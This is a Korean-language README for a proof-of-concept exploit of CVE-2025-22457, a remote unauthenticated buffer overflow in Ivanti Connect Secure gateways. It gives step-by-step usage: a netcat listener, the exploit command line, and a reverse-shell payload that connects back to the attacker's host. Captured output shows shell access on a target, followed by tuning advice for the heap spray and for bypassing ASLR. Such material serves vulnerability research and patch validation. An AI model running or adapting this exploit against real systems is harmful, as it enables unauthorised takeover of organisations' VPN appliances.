PoC CVE-2025-22457
Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure 및 ZTA 게이트웨이에 영향을 미치는 원격 무인증 스택 기반 버퍼 오버플로
이것은 CVE-2025-22457 악용을 시연하기 위한 개념 증명 익스플로잇입니다. 취약점 및 악용 전략에 대한 전체 기술 분석은 여기의 Rapid7 분석을 참조하십시오:
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
다음과 같이 취약한 Ivanti Connect Secure 대상(버전 22.7r2.4)에 대해 이 스크립트를 실행할 수 있습니다:
리버스 셸을 받기 위해 netcat 리스너를 시작합니다.
C:\>ncat -lnvkp 8080
익스플로잇을 실행하고 ASLR을 무차별 대입합니다(느릴 수 있습니다).
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
성공하면 리버스 셸을 얻을 수 있습니다.
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
기본 하드웨어에 따라 대상 어플라이언스에서 사용 가능한 CPU 수가 /home/bin/web 바이너리가 생성할 자식 프로세스 수를 결정합니다. 모든 수신 HTTPS 요청이 이 자식 프로세스들에 균등하게 분배되므로 이를 고려하여 모든 자식 프로세스에 대해 힙 스프레이를 충분히 수행해야 합니다. 취약점을 트리거할 때 어떤 자식 프로세스에서 트리거될지 알 수 없기 때문에 이 작업이 필요합니다. 따라서 모든 자식 프로세스에 힙 스프레이가 존재해야 합니다.
예를 들어, 루팅된 취약한 어플라이언스에서 다음을 실행하여 자식 /home/bin/web 프로세스 수를 확인합니다:
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
예를 들어 --web_children 인수를 통해 예상 웹 자식 프로세스 수를 지정할 수 있습니다:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
로컬 시스템에서 PoC를 테스트하는 경우 libdsplibs 기본 주소의 무차별 대입을 피하고 싶을 수 있습니다. 이 시나리오에서는 --libdsplibs 인수를 통해 알려진 기본 주소를 PoC에 전달할 수 있습니다. 예를 들어, 루팅된 취약한 어플라이언스에서 다음을 실행합니다:
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
그런 다음 다음과 같이 알려진 기본 주소를 PoC에 전달할 수 있습니다:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...